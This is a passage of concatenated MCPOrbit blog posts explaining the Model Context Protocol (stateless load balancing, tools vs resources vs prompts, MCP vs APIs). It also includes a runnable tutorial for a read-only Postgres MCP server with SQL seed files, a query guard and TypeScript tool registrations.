http { upstream mcp_backend { server mcp1:3000; server mcp2:3000; } server { listen 8080; location / { proxy_pass http://mcp_backend; proxy_http_version 1.1; proxy_buffering off; # Streamable HTTP may stream via SSE proxy_read_timeout 3600s; } } } ``` ```yaml # docker-compose.lb.yml: two identical stateless replicas + one nginx. # docker compose -f docker-compose.lb.yml up --build # # then point an MCP client at http://localhost:8080/mcp services: mcp1: build: . environment: { PORT: "3000", DATABASE_URL: "${DATABASE_URL}" } mcp2: build: . environment: { PORT: "3000", DATABASE_URL: "${DATABASE_URL}" } lb: image: nginx:1.27-alpine depends_on: [mcp1, mcp2] ports: ["8080:8080"] volumes: - ./nginx.lb.conf:/etc/nginx/nginx.conf:ro ``` ## How do you know it actually works? Because a build-it post is worthless if the code does not run, the migration ships with two transport tests next to the original eleven read-only SQL-guard tests: thirteen cases, all green. The transport tests assert the exact contract shown above: the stateless server issues no `Mcp-Session-Id` and a fresh instance answers `tools/list` with no prior handshake, while the stateful server mints a session ID on `initialize` and rejects the same call without it. ```typescript // http-stateless.test.ts (node:test): the two assertions that prove the migration test("stateless: no session id is issued, and any request is self-contained", async () => { const a = await rpc(url, INIT); assert.equal(a.sessionId, null); // no Mcp-Session-Id const list = await rpc(url, TOOLS_LIST); // no prior initialize, fresh instance assert.deepEqual(list.json.result.tools.map(t => t.name).sort(), ["describe_table", "list_tables", "query"]); }); test("stateful: initialize mints a session id, and calls without it are rejected", async () => { const init = await rpc(url, INIT); assert.ok(init.sessionId); // Mcp-Session-Id present const orphaned = await rpc(url, TOOLS_LIST); // routed to the "wrong" replica assert.equal(orphaned.status, 400); assert.equal(orphaned.json.error.code, -32000); }); ``` --- ## Frequently asked questions ### How do I make an MCP server stateless? Set the Streamable HTTP transport's `sessionIdGenerator` to `undefined` and construct a fresh server and transport per request instead of keeping a session map. The transport then issues no `Mcp-Session-Id` and performs no session validation, so every request is self-contained. ### Do I still need sticky sessions with the 2026-07-28 MCP spec? No. A stateless MCP server keeps no per-session state in process memory, so any replica can serve any request. A plain round-robin load balancer works with no `ip_hash`, sticky cookie, or session affinity. ### Does going stateless change my MCP tools or resources? No. Statelessness is purely a transport and deployment concern. The code that registers your tools and resources is unchanged; only the boot file that constructs the transport differs between the stdio, stateful HTTP, and stateless HTTP versions. ### How does a stateless MCP server handle initialize? Each request is handled by a fresh transport, so there is no session to carry an initialize across requests. In stateless mode the server answers calls like `tools/list` without a prior handshake, which is exactly why load balancing across replicas works without affinity. ### What do I give up by making an MCP server stateless? Server-side resumability. Stateless mode drops the SSE event store and any per-session in-memory state, so you cannot replay a stream after a disconnect. If you need resumability, keep sessions or back them with an external event store; otherwise carry all per-request context (including auth tokens) in the request itself. ### Which SDK version supports stateless MCP? The stateless Streamable HTTP transport exists in `@modelcontextprotocol/sdk@1.29.0`, the version this tutorial pins and tests against. The 2026-07-28 spec makes stateless the recommended default; pin whichever beta SDK your fleet standardises on. Stateless servers are also easier to check, because a capability probe hits any replica the same way. [Connect your server to MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) and read its tool list before the 2026-07-28 migration, then connect again after. A transport change or an auth failure shows up as a connection that will not start, with the reason printed above the Connect button. [Download MCPOrbit for macOS](/api/download) --- # MCP tools vs resources vs prompts: which to use URL: https://mcporbit.com/blog/mcp-tools-vs-resources-vs-prompts Author: MCPOrbit Team, Engineering, MCPOrbit Published: 2026-07-21 Updated: 2026-09-03 Category: Explainer Tags: MCP, Tools, Resources, Prompts, Explainer MCP tools are actions the model calls, resources are data the app feeds the model, and prompts are templates the user invokes. Choose by who is in control. In the Model Context Protocol (MCP), tools are actions the model chooses to call, resources are data the application feeds into the model's context, and prompts are templates the user explicitly invokes. The fastest way to pick the right one is to ask who is in control. All three are capabilities an MCP server can expose, and it is easy to reach for a tool for everything. But the three primitives exist precisely because they answer different questions. Getting the mapping right makes servers that models use correctly and that hosts can render sensibly. **The one-line rule** - Tools = model-controlled: the LLM decides when to call them (they do things) - Resources = application-controlled: the app decides what to load into context (they provide data) - Prompts = user-controlled: the user decides to trigger them (they start a workflow) ## When should something be a tool? Make it a tool when the model should be able to decide, mid-conversation, to perform an action. Tools carry a name, a description, and a JSON Schema for their inputs, and the model reads those to choose when and how to call them. Running a query, creating an issue, sending a message, searching an index: all tools. Because the model invokes tools autonomously, a tool that has side effects deserves the same care as an API endpoint that mutates data. Describe it precisely, validate the input schema, and mark read-only versus write behavior clearly. A vague tool description is the single most common reason a model calls the wrong tool. ## When should something be a resource? Make it a resource when you are exposing data for context rather than an action to take. Resources are addressed by URI and are meant to be selected by the application (or the user through the app), not called spontaneously by the model. A file's contents, a database record, the current git diff, a documentation page: all resources. The distinction is about control, not content. The same Postgres row could be reachable through a read-only query tool (the model asks for it) or a resource (the app pins it into context). If you want deterministic control over what the model sees, use a resource; if you want the model to fetch on demand, use a tool. ```json // A tool advertises an action the model may call: { "name": "query", "description": "Run a read-only SQL query", "inputSchema": { "...": "..." } } // A resource advertises data the app can load, addressed by URI: { "uri": "postgres://main/orders/1042", "name": "Order 1042", "mimeType": "application/json" } ``` ## When should something be a prompt? Make it a prompt when you want to give the user a reusable, parameterized workflow they trigger deliberately. Prompts are user-controlled. Hosts commonly surface them as slash commands or menu items. "Summarize this PR," "draft a release note," "start an incident review" are prompts: the user picks them, the server returns a well-formed message sequence, and the conversation proceeds. Prompts are the most under-used primitive. If your users keep typing the same multi-step instruction by hand, that instruction wants to be a prompt: encode it once, expose it, and let the host offer it as a first-class command. ## Tools vs resources vs prompts at a glance ```text Primitive Controlled by Answers the question Typical example --------- ------------- ------------------------- ------------------------ Tool The model "What can I DO?" run a query, send a message Resource The app/user "What context should I SEE?" a file, a DB row, a diff Prompt The user "What workflow do I START?" a slash-command template ``` > **Rule of thumb** > > If the model should decide, it's a tool. If the app should decide what context to load, it's a resource. If the user should trigger a workflow, it's a prompt. --- ## Frequently asked questions ### What is the difference between MCP tools and resources? Tools are actions the model chooses to invoke, like running a query or sending a message. Resources are data the application loads into the model's context, addressed by URI. Tools are model-controlled; resources are application-controlled. ### Should I expose my database as a tool or a resource in MCP? Both are valid. Use a read-only query tool if you want the model to fetch rows on demand, and a resource if you want the app to pin specific records into context deterministically. Many servers offer both. ### What are MCP prompts used for? Prompts are reusable, user-invoked templates or workflows, typically surfaced as slash commands. They encode a multi-step instruction once so the user can trigger it deliberately instead of retyping it. ### Can one MCP server expose tools, resources, and prompts together? Yes. A single MCP server can advertise any combination of the three primitives. The client discovers each type separately via tools/list, resources/list, and prompts/list. ### Why does my model call the wrong MCP tool? Almost always a description problem. Models choose tools from their name, description, and input schema, so vague or overlapping descriptions cause mis-calls. Tighten the wording and make read-only versus write behavior explicit. --- # MCP vs traditional APIs: how it's different URL: https://mcporbit.com/blog/mcp-vs-traditional-apis Author: MCPOrbit Team, Engineering, MCPOrbit Published: 2026-07-21 Updated: 2026-09-04 Category: Comparison Tags: MCP, APIs, Function Calling, Comparison MCP is a standard protocol for exposing tools and data to AI models; a traditional API is a bespoke interface your code calls. Here is when each one fits. MCP is a standard protocol for exposing tools and data to AI models so any compatible client can discover and use them; a traditional API is a bespoke interface your own code integrates against directly. MCP does not replace your APIs. It standardizes how AI clients reach them. A useful way to hold it: your REST API is still the thing that does the work. MCP is the layer that lets an AI assistant find that capability, understand it, and call it the same way it calls every other tool, without a developer writing a custom connector for each assistant. **The short version** - A traditional API is called by code you write; MCP is called by an AI client on the model's behalf - MCP is self-describing: clients discover tools, schemas, and descriptions at runtime - MCP standardizes the integration, turning N×M custom connectors into N+M - You often keep your API and put an MCP server in front of it ## How is MCP different from a REST API? A REST API assumes a developer read the docs and wrote code to call specific endpoints. MCP assumes a model will discover capabilities at runtime and decide which to call. That is why an MCP server ships descriptions and JSON Schemas with every tool: the consumer is a language model choosing among options, not a programmer who hard-coded the call. MCP also carries primitives a REST API has no concept of: resources for context and prompts for user-triggered workflows. ## MCP vs function calling: aren't they the same? Function calling is how a single model is handed a list of functions it may call in one request. MCP is how those functions get to the model in the first place, as a reusable, cross-vendor server instead of a hand-maintained list embedded in each app. Function calling is the in-the-moment mechanism; MCP is the distribution standard. They compose: an MCP client typically turns a server's tools into the function-calling format the underlying model expects. ## MCP vs plugins (like the old ChatGPT plugins) Early AI plugin systems were tied to one product and one vendor's ecosystem. MCP is client-agnostic and two-way: the same server works across any host that speaks the protocol, and servers can request capabilities from the client (such as sampling) rather than only answering calls. That portability is the core reason MCP gained traction where single-vendor plugin formats stalled. ## MCP vs traditional APIs, side by side ```text Traditional API MCP ------------------- ------------------------ ------------------------------ Primary consumer Your application code An AI client, on the model's behalf Discovery Read docs, write code Runtime: list tools + schemas Interface style Bespoke per API One standard across all servers Beyond actions Actions only Tools + resources + prompts Integration cost N x M custom connectors N + M (wrap once, reuse everywhere) Direction Request/response Two-way (server can call client) ``` > **When to use which** > > Building a service for developers to code against? Ship a normal API. Want AI assistants to use that service without a custom integration per assistant? Put an MCP server in front of it. Most teams do both. ## So is MCP just an API? Not quite. MCP is a protocol, a fixed set of message types and rules (built on JSON-RPC 2.0) that any client and server can implement, the way HTTP is a protocol and your website is not. An individual MCP server exposes API-like actions, but the value is the shared contract around them: uniform discovery, uniform invocation, and primitives designed for how models actually consume context. > **Try it** > > [MCPOrbit](/features/agent-panel) shows what a given MCP server actually exposes, its tools and their full input schemas, so you can evaluate a server the way you would review an API before integrating. --- ## Frequently asked questions ### Is MCP a replacement for REST APIs? No. MCP standardizes how AI clients reach capabilities; your REST API still does the underlying work. In practice teams keep their API and add an MCP server in front of it so assistants can use it without a custom integration. ### What is the difference between MCP and function calling? Function calling hands a single model a list of callable functions within one request. MCP is the reusable, cross-vendor way those functions reach the model. Function calling is the mechanism; MCP is the distribution standard, and they work together. ### Why use MCP instead of a custom integration? A custom integration is one connector per app-and-tool pair, which grows as N×M. MCP wraps a tool once as a server that every compatible client can use, turning the problem into N+M and eliminating repeated glue code. ### Is MCP just an API? MCP is a protocol, not a single API. It defines standard message types over JSON-RPC 2.0 so any client and server interoperate. An individual server exposes API-like actions, but the value is the shared contract: uniform discovery and invocation plus resources and prompts. ### How is MCP different from OpenAI plugins? Plugin formats were tied to one product and vendor. MCP is client-agnostic and two-way: the same server works across any host that speaks the protocol, and servers can request capabilities from the client, not just answer calls. --- # What is the Model Context Protocol (MCP)? URL: https://mcporbit.com/blog/what-is-the-model-context-protocol Author: MCPOrbit Team, Engineering, MCPOrbit Published: 2026-07-21 Updated: 2026-09-04 Category: Explainer Tags: MCP, Model Context Protocol, AI, Explainer The Model Context Protocol (MCP) is an open standard that connects AI apps to external tools and data through one shared interface. Here is how it works. The Model Context Protocol (MCP) is an open standard that lets AI applications connect to external tools and data through one shared interface, so any MCP-compatible app can use any MCP-compatible server without custom, per-integration code. Anthropic introduced MCP in November 2024 and open-sourced the specification. Think of it as a common port for AI: instead of every assistant hand-rolling its own connector for every database, file store, or SaaS API, each tool is wrapped once as an MCP server, and every MCP client (Claude, IDEs, agents, and other hosts) can speak to it the same way. **What you'll get from this post** - The one-sentence definition of MCP and the problem it solves - How an MCP connection is structured: host, client, server, and transport - What an MCP server can expose: tools, resources, and prompts - What MCP looks like once it is running in production ## What problem does MCP solve? Before MCP, connecting N AI apps to M tools meant building and maintaining up to N×M bespoke integrations: a separate, brittle connector for each app-and-tool pairing. Every new model or client re-implemented the same plumbing, and every tool had to be re-wrapped for each assistant that wanted to use it. MCP collapses that N×M problem into N+M. A tool is wrapped once as a server; a client implements the protocol once. After that, any client can talk to any server. That is the whole point of a standard: the integration surface stops growing multiplicatively. ## How does an MCP connection work? MCP uses a client-server architecture. A host application (the AI app the user interacts with) runs one or more MCP clients, and each client holds a one-to-one connection to an MCP server. The server exposes capabilities; the client discovers and calls them on the model's behalf. Messages are JSON-RPC 2.0. A connection opens with an initialize handshake where the two sides negotiate protocol version and capabilities, then the client can list and call whatever the server offers. Here is the shape of a client asking a server what tools it has: ```json // client -> server { "jsonrpc": "2.0", "id": 1, "method": "tools/list" } // server -> client { "jsonrpc": "2.0", "id": 1, "result": { "tools": [ { "name": "query", "description": "Run a read-only SQL query", "inputSchema": { "type": "object", "properties": { "sql": { "type": "string" } } } } ] } } ``` That exchange travels over a transport. The two standard transports are stdio (the server runs as a local subprocess and messages flow over standard in/out) and Streamable HTTP (for remote servers). Streamable HTTP replaced the older HTTP+SSE transport in the 2025-03-26 revision of the spec. The specification itself is versioned by date, for example 2024-11-05, 2025-03-26, and 2025-06-18, so "which MCP version" always has a concrete answer. ## What can an MCP server expose? An MCP server offers three core primitives, distinguished by who is in control of each: - Tools: actions the model can choose to invoke (run a query, send a message, create a file). Model-controlled. - Resources: data the application feeds into the model's context (a file, a database row, an API response), addressed by URI. Application-controlled. - Prompts: reusable templates or workflows the user explicitly triggers, often surfaced as slash commands. User-controlled. Clients can also offer capabilities back to the server, most notably sampling (letting a server ask the host's model to complete a request) and roots (telling the server which files or directories it may operate on). The result is a two-way protocol, not a one-way tool list. > **Go deeper** > > Not sure whether something should be a tool, a resource, or a prompt? Our companion explainer, "MCP tools vs resources vs prompts," walks through how to decide. ## What does MCP look like in production? MCP moved from a promising spec to real infrastructure fast. The day-to-day reality is messier than the spec diagrams suggest: servers ship on both stdio and Streamable HTTP, advertise different protocol revisions, and change their tool lists between deploys. It is also a reminder that a standard is not automatically a safe default. Plenty of public MCP servers answer an unauthenticated tools/list request. They will happily enumerate their capabilities to anyone who asks. MCP makes integration uniform; it does not make your deployment secure. Treat an MCP server like any other service on your network: authenticate it, scope it, and watch it. > **Try it** > > [MCPOrbit](/features/agent-panel) connects to an MCP server and lists its advertised tools with their full input schemas. Point it at a server to see what it actually exposes before you connect a model to it. --- ## Frequently asked questions ### What is the Model Context Protocol in one sentence? MCP is an open standard that lets AI applications connect to external tools and data through one shared interface, so any compatible client can use any compatible server without custom integration code. ### Who created MCP and is it open? Anthropic introduced MCP in November 2024 and open-sourced the specification. It is an open standard with a public spec, and clients and servers exist across many vendors and open-source projects. ### What transports does MCP support? Two standard transports: stdio for local servers running as a subprocess, and Streamable HTTP for remote servers. Streamable HTTP replaced the older HTTP+SSE transport in the 2025-03-26 spec revision. ### What is the difference between an MCP client and an MCP server? The server exposes capabilities: tools, resources, and prompts. The client, embedded in a host app like an AI assistant, discovers those capabilities and calls them on the model's behalf over a one-to-one connection. ### Do I need MCP to build an AI tool? No, but it saves work. Without MCP you write a bespoke integration for each app-and-tool pair. With MCP you wrap a tool once as a server and every MCP-compatible client can use it, turning an N×M integration problem into N+M. --- # How to build an MCP server that lets Claude query your Postgres database URL: https://mcporbit.com/blog/build-an-mcp-server-for-postgres Author: MCPOrbit Team, Engineering, MCPOrbit Published: 2026-07-20 Updated: 2026-09-04 Category: Engineering Tags: MCP, Postgres, Claude, Tutorial, TypeScript, Databases A complete, runnable walkthrough: build a read-only MCP server that lets Claude answer questions about your Postgres data, with every file inline and versions pinned. To let Claude query your Postgres database, you build a small MCP server that connects to Postgres with the `pg` driver and exposes a read-only `query` tool (plus `list_tables` and `describe_table` helpers), then register it in Claude Desktop. The whole thing is about 150 lines of TypeScript. This is a complete, runnable walkthrough with every file inline. Copy them into a new project, pin the versions listed, and you can have Claude answering questions about real data in roughly 15 minutes. > **What you'll build** > > A small TypeScript project: a `docker-compose.yml` plus two SQL files for a seeded Postgres, `src/db.ts` for the read-only query layer, and `src/index.ts` for the MCP server itself, with a `package.json` and `tsconfig.json` to build it. Every file is inline below, pinned to these versions: `@modelcontextprotocol/sdk@1.29.0`, `pg@8.22.0`, `zod@3.25.76`, `postgres:16.4`, TypeScript 5.9. ## What is an MCP server, and why use one for a database? The Model Context Protocol (MCP) is an open standard that lets an AI client like Claude Desktop talk to external systems through a uniform interface of tools (functions the model can call) and resources (read-only context the model can attach). An MCP server for Postgres turns "which customers spent the most last month?" into a real SQL query against your database, run on your machine, with the result handed back to the model. No copy-pasting schemas or exporting CSVs. Because MCP is a standard, the same server works in any MCP-capable client, not just Claude. The catch is obvious: you are pointing a language model at a database. The design in this tutorial is read-only by construction, using a least-privilege database role, a `READ ONLY` transaction, an app-layer SQL guard, a statement timeout, and a row cap, so the worst a bad query can do is time out. ## What you need before you start - Node.js 20 or newer. - Docker (for the one-command seeded Postgres), or any Postgres you can reach with a connection string. - Claude Desktop, to connect the finished server to. - Pinned versions used here: @modelcontextprotocol/sdk@1.29.0, pg@8.22.0, zod@3.25.76, postgres:16.4, TypeScript 5.9. ## Step 1: Stand up a Postgres database with seed data A `docker-compose.yml` boots `postgres:16.4` and, on first start, runs any SQL files in `./db` in filename order. Save this as `docker-compose.yml`: ```yaml # One command to get a seeded Postgres for the tutorial: # docker compose up -d # The database is created as `shop`, owned by `postgres`, with a read-only # `mcp_readonly` role that the MCP server uses. The ./db/*.sql files run once, # on first boot, in filename order. services: postgres: image: postgres:16.4 container_name: mcp-postgres environment: POSTGRES_USER: postgres POSTGRES_PASSWORD: postgres POSTGRES_DB: shop ports: - "5432:5432" volumes: - ./db:/docker-entrypoint-initdb.d:ro - mcp_pgdata:/var/lib/postgresql/data healthcheck: test: ["CMD-SHELL", "pg_isready -U postgres -d shop"] interval: 3s timeout: 3s retries: 10 volumes: mcp_pgdata: ``` The first init file, `db/001_init.sql`, creates a small e-commerce schema (`customers`, `products`, `orders`, `order_items`) plus a dedicated `mcp_readonly` login role that only has `SELECT`: ```sql -- Schema + a dedicated read-only role for the MCP server. -- Runs automatically the first time the Postgres container starts. -- 1. A least-privilege role. The MCP server connects as this user, so even a -- bug in the guard logic cannot write to your data. CREATE ROLE mcp_readonly WITH LOGIN PASSWORD 'mcp_readonly'; -- 2. Tables for a tiny e-commerce shop. CREATE TABLE customers ( id serial PRIMARY KEY, name text NOT NULL, email text NOT NULL UNIQUE, country text NOT NULL, created_at timestamptz NOT NULL DEFAULT now() ); CREATE TABLE products ( id serial PRIMARY KEY, sku text NOT NULL UNIQUE, name text NOT NULL, category text NOT NULL, price_cents integer NOT NULL CHECK (price_cents >= 0) ); CREATE TABLE orders ( id serial PRIMARY KEY, customer_id integer NOT NULL REFERENCES customers (id), status text NOT NULL DEFAULT 'paid', created_at timestamptz NOT NULL DEFAULT now() ); CREATE TABLE order_items ( id serial PRIMARY KEY, order_id integer NOT NULL REFERENCES orders (id), product_id integer NOT NULL REFERENCES products (id), quantity integer NOT NULL CHECK (quantity > 0), UNIQUE (order_id, product_id) ); -- 3. Grant read-only access to the mcp_readonly role. GRANT CONNECT ON DATABASE shop TO mcp_readonly; GRANT USAGE ON SCHEMA public TO mcp_readonly; GRANT SELECT ON ALL TABLES IN SCHEMA public TO mcp_readonly; ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT SELECT ON TABLES TO mcp_readonly; ``` The second, `db/002_seed.sql`, inserts a handful of rows so the model has something real to query: ```sql -- Seed data: a handful of customers, products and orders so the model has -- something real to query. Small on purpose: easy to reason about in a demo. INSERT INTO customers (name, email, country) VALUES ('Ada Lovelace', 'ada@example.com', 'GB'), ('Grace Hopper', 'grace@example.com', 'US'), ('Alan Turing', 'alan@example.com', 'GB'), ('Katherine Johnson', 'katherine@example.com','US'), ('Linus Torvalds', 'linus@example.com', 'FI'); INSERT INTO products (sku, name, category, price_cents) VALUES ('KEY-001', 'Mechanical Keyboard', 'peripherals', 12900), ('MOU-001', 'Wireless Mouse', 'peripherals', 4900), ('MON-001', '27" 4K Monitor', 'displays', 39900), ('DSK-001', 'Standing Desk', 'furniture', 59900), ('CHR-001', 'Ergonomic Chair', 'furniture', 44900), ('CAB-001', 'USB-C Cable', 'accessories', 1900); INSERT INTO orders (customer_id, status, created_at) VALUES (1, 'paid', now() - interval '10 days'), (2, 'paid', now() - interval '7 days'), (2, 'refunded', now() - interval '6 days'), (3, 'paid', now() - interval '3 days'), (4, 'paid', now() - interval '1 day'), (5, 'pending', now()); INSERT INTO order_items (order_id, product_id, quantity) VALUES (1, 1, 1), (1, 6, 2), (2, 3, 2), (2, 2, 1), (3, 5, 1), (4, 4, 1), (4, 1, 1), (5, 3, 1), (5, 6, 3), (6, 2, 1); ``` One command brings it all up: ```bash docker compose up -d ``` The read-only role is the single most important safety decision. Even if every other guardrail failed, `mcp_readonly` physically cannot write to your data because Postgres never granted it the privilege. The MCP server connects as this role, not as a superuser. ## Step 2: Connect to Postgres and enforce read-only queries `src/db.ts` holds a single shared `pg` connection pool and one query helper, `runReadOnlyQuery`. Before any SQL touches the database it passes through `assertReadOnly`, which strips comments, rejects anything that is not a single `SELECT` or `WITH` statement, refuses stacked statements (a stray `;`), and blocks write keywords like `insert`, `update`, and `drop` on word boundaries so a column named `created_at` doesn't trip the `create` rule. The query itself runs inside `BEGIN READ ONLY` with `SET LOCAL statement_timeout = 5000`, and it is wrapped in a subquery with `LIMIT 201` so the server can return at most 200 rows and tell the model when the result was truncated. Three independent layers, namely role, transaction, and app guard, mean no single mistake is catastrophic. Here is `src/db.ts` in full: ```typescript import pg from "pg"; const { Pool } = pg; /** * A single shared connection pool. The MCP server is a long-lived process, so * we create the pool once and reuse it across tool calls. */ let pool: pg.Pool | null = null; export function getPool(): pg.Pool { if (pool) return pool; const connectionString = process.env.DATABASE_URL; if (!connectionString) { throw new Error( "DATABASE_URL is not set. Point it at your Postgres instance, e.g. " + "postgres://mcp_readonly:mcp_readonly@localhost:5432/shop", ); } pool = new Pool({ connectionString, // Keep the footprint small; an MCP server is not a web app under load. max: 4, idleTimeoutMillis: 30_000, connectionTimeoutMillis: 10_000, }); return pool; } /** Max rows we will ever return to the model in a single call. */ export const MAX_ROWS = 200; /** Server-side statement timeout, in milliseconds. */ export const STATEMENT_TIMEOUT_MS = 5_000; const WRITE_KEYWORDS = [ "insert", "update", "delete", "drop", "alter", "create", "truncate", "grant", "revoke", "comment", "copy", "call", "do", "vacuum", "reindex", "refresh", ]; /** * Reject anything that is not a single read-only statement. This is defence in * depth: the database role is also read-only and every query runs inside a * `READ ONLY` transaction, so a write cannot succeed even if this check is * bypassed. We still refuse early to give the model a clear error. */ export function assertReadOnly(sql: string): void { const stripped = sql // remove -- line comments .replace(/--[^\n]*/g, " ") // remove /* */ block comments .replace(/\/\*[\s\S]*?\*\//g, " ") .trim(); if (!stripped) { throw new Error("Empty query."); } // Disallow multiple statements: a semicolon is only allowed as the last char. const withoutTrailingSemi = stripped.replace(/;\s*$/, ""); if (withoutTrailingSemi.includes(";")) { throw new Error("Only a single statement is allowed (no ';' separators)."); } const firstWord = withoutTrailingSemi.split(/\s+/)[0]?.toLowerCase() ?? ""; if (firstWord !== "select" && firstWord !== "with") { throw new Error( `Only SELECT / WITH queries are allowed. Got a statement starting with "${firstWord}".`, ); } const lowered = withoutTrailingSemi.toLowerCase(); for (const kw of WRITE_KEYWORDS) { // \b word boundary so "created_at" does not trip the "create" rule. if (new RegExp(`\\b${kw}\\b`).test(lowered)) { throw new Error(`Query contains a disallowed keyword: "${kw}".`); } } } export interface QueryResult { rows: Record[]; rowCount: number; fields: string[]; truncated: boolean; } /** * Run a read-only SELECT and return at most MAX_ROWS rows. Parameterised values * are passed separately so the model never has to build SQL strings by hand. */ export async function runReadOnlyQuery( sql: string, params: unknown[] = [], ): Promise { assertReadOnly(sql); const client = await getPool().connect(); try { await client.query("BEGIN READ ONLY"); await client.query(`SET LOCAL statement_timeout = ${STATEMENT_TIMEOUT_MS}`); // Fetch one extra row so we can tell the model when results were truncated. const wrapped = `SELECT * FROM (${sql.replace(/;\s*$/, "")}) AS mcp_sub LIMIT ${MAX_ROWS + 1}`; const result = await client.query(wrapped, params); await client.query("COMMIT"); const truncated = result.rows.length > MAX_ROWS; const rows = truncated ? result.rows.slice(0, MAX_ROWS) : result.rows; return { rows, rowCount: rows.length, fields: result.fields.map((f) => f.name), truncated, }; } catch (err) { await client.query("ROLLBACK").catch(() => {}); throw err; } finally { client.release(); } } export interface TableInfo { schema: string; name: string; } export async function listTables(): Promise { const { rows } = await runReadOnlyQuery( `SELECT table_schema AS schema, table_name AS name FROM information_schema.tables WHERE table_type = 'BASE TABLE' AND table_schema NOT IN ('pg_catalog', 'information_schema') ORDER BY table_schema, table_name`, ); return rows as unknown as TableInfo[]; } export interface ColumnInfo { column: string; type: string; nullable: boolean; default: string | null; } export async function describeTable( table: string, schema = "public", ): Promise { const { rows } = await runReadOnlyQuery( `SELECT column_name AS column, data_type AS type, (is_nullable = 'YES') AS nullable, column_default AS default FROM information_schema.columns WHERE table_schema = $1 AND table_name = $2 ORDER BY ordinal_position`, [schema, table], ); return rows as unknown as ColumnInfo[]; } export async function closePool(): Promise { if (pool) { await pool.end(); pool = null; } } ``` **The read-only safety model** - Least-privilege role: the server connects as `mcp_readonly` (SELECT only). - Read-only transaction: every query runs inside `BEGIN READ ONLY`. - App-layer guard: only single SELECT/WITH statements pass; writes and stacked statements are rejected. - Bounded cost: 5s statement timeout and a 200-row cap on every result. ## Step 3: Expose query tools and schema resources over MCP `src/index.ts` creates an `McpServer` from `@modelcontextprotocol/sdk` and registers three tools: `query` (run one read-only statement, described so the model knows to inspect the schema first), `list_tables` (every base table outside system schemas), and `describe_table` (columns, types, nullability, defaults for one table). Tool inputs are declared as a small Zod schema, so the SDK validates arguments and advertises them to the client automatically. It also registers two resources: a static `postgres://schema` that returns the table list, and a templated `postgres://table/{name}` that returns one table's columns. Resources let a user attach schema context to a conversation without spending a tool call. The server speaks MCP over stdio (`StdioServerTransport`), which is exactly what Claude Desktop launches, so remember to log to stderr, never stdout, because stdout is the protocol channel. Here is `src/index.ts` in full: ```typescript #!/usr/bin/env node import { McpServer, ResourceTemplate } from "@modelcontextprotocol/sdk/server/mcp.js"; import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; import { z } from "zod"; import { closePool, describeTable, listTables, MAX_ROWS, runReadOnlyQuery, } from "./db.js"; const server = new McpServer({ name: "mcp-postgres-server", version: "1.0.0", }); function textResult(payload: unknown) { return { content: [ { type: "text" as const, text: typeof payload === "string" ? payload : JSON.stringify(payload, null, 2), }, ], }; } function errorResult(err: unknown) { const message = err instanceof Error ? err.message : String(err); return { isError: true, content: [{ type: "text" as const, text: `Error: ${message}` }], }; } // --- Tools ------------------------------------------------------------------ server.registerTool( "query", { title: "Run a read-only SQL query", description: "Run a single read-only SQL query (SELECT / WITH only) against the connected " + `Postgres database. Returns up to ${MAX_ROWS} rows as JSON. Writes and multi-statement ` + "queries are rejected. Use the `list_tables` and `describe_table` tools first if you " + "do not know the schema.", inputSchema: { sql: z .string() .describe("A single SELECT or WITH statement. No semicolons except a trailing one."), }, }, async ({ sql }) => { try { const result = await runReadOnlyQuery(sql); return textResult({ rowCount: result.rowCount, truncated: result.truncated, columns: result.fields, rows: result.rows, note: result.truncated ? `Result truncated to the first ${MAX_ROWS} rows. Add a LIMIT or a WHERE clause to narrow it down.` : undefined, }); } catch (err) { return errorResult(err); } }, ); server.registerTool( "list_tables", { title: "List tables", description: "List every base table in the database (excluding system schemas) so you know what you can query.", inputSchema: {}, }, async () => { try { return textResult(await listTables()); } catch (err) { return errorResult(err); } }, ); server.registerTool( "describe_table", { title: "Describe a table", description: "Return the columns, types, nullability and defaults for a single table. " + "Defaults to the `public` schema.", inputSchema: { table: z.string().describe("The table name, e.g. `orders`."), schema: z .string() .optional() .describe("The schema name. Defaults to `public`."), }, }, async ({ table, schema }) => { try { const columns = await describeTable(table, schema ?? "public"); if (columns.length === 0) { return errorResult( `No table named "${schema ?? "public"}.${table}" was found. Call list_tables to see options.`, ); } return textResult(columns); } catch (err) { return errorResult(err); } }, ); // --- Resources -------------------------------------------------------------- // A single overview resource the client can attach as context. server.registerResource( "schema-overview", "postgres://schema", { title: "Database schema overview", description: "The list of tables available in the connected database.", mimeType: "application/json", }, async (uri) => { const tables = await listTables(); return { contents: [ { uri: uri.href, mimeType: "application/json", text: JSON.stringify(tables, null, 2), }, ], }; }, ); // One resource per table: postgres://table/ server.registerResource( "table-columns", new ResourceTemplate("postgres://table/{name}", { list: undefined }), { title: "Table columns", description: "The column definitions for a specific table.", mimeType: "application/json", }, async (uri, { name }) => { const table = Array.isArray(name) ? name[0] : name; const columns = await describeTable(table); return { contents: [ { uri: uri.href, mimeType: "application/json", text: JSON.stringify({ table, columns }, null, 2), }, ], }; }, ); // --- Boot ------------------------------------------------------------------- async function main() { const transport = new StdioServerTransport(); await server.connect(transport); // The server now speaks MCP over stdio. Do not write to stdout elsewhere; // it is the transport channel. Logs go to stderr. console.error("mcp-postgres-server running on stdio"); } async function shutdown() { await closePool().catch(() => {}); process.exit(0); } process.on("SIGINT", shutdown); process.on("SIGTERM", shutdown); main().catch((err) => { console.error("Fatal:", err); process.exit(1); }); ``` ## Step 4: Build it and connect it to Claude Desktop With the three source files in place, add a `package.json` with the pinned dependencies and a `tsconfig.json` set up for the ESM / NodeNext build: ```json { "name": "mcp-postgres-server", "version": "1.0.0", "private": true, "description": "A minimal, read-only MCP server that lets Claude query a Postgres database.", "type": "module", "bin": { "mcp-postgres-server": "dist/index.js" }, "files": [ "dist" ], "engines": { "node": ">=20" }, "scripts": { "build": "tsc", "start": "node dist/index.js", "dev": "tsx src/index.ts", "db:up": "docker compose up -d", "db:down": "docker compose down -v", "db:logs": "docker compose logs -f postgres", "test": "tsx --test src/*.test.ts", "prepare": "npm run build" }, "dependencies": { "@modelcontextprotocol/sdk": "1.29.0", "pg": "8.22.0", "zod": "3.25.76" }, "devDependencies": { "@types/node": "22.20.1", "@types/pg": "8.20.0", "tsx": "4.23.1", "typescript": "5.9.3" } } ``` ```json { "compilerOptions": { "target": "ES2022", "module": "NodeNext", "moduleResolution": "NodeNext", "lib": ["ES2022"], "outDir": "dist", "rootDir": "src", "strict": true, "esModuleInterop": true, "skipLibCheck": true, "forceConsistentCasingInFileNames": true, "declaration": false, "sourceMap": 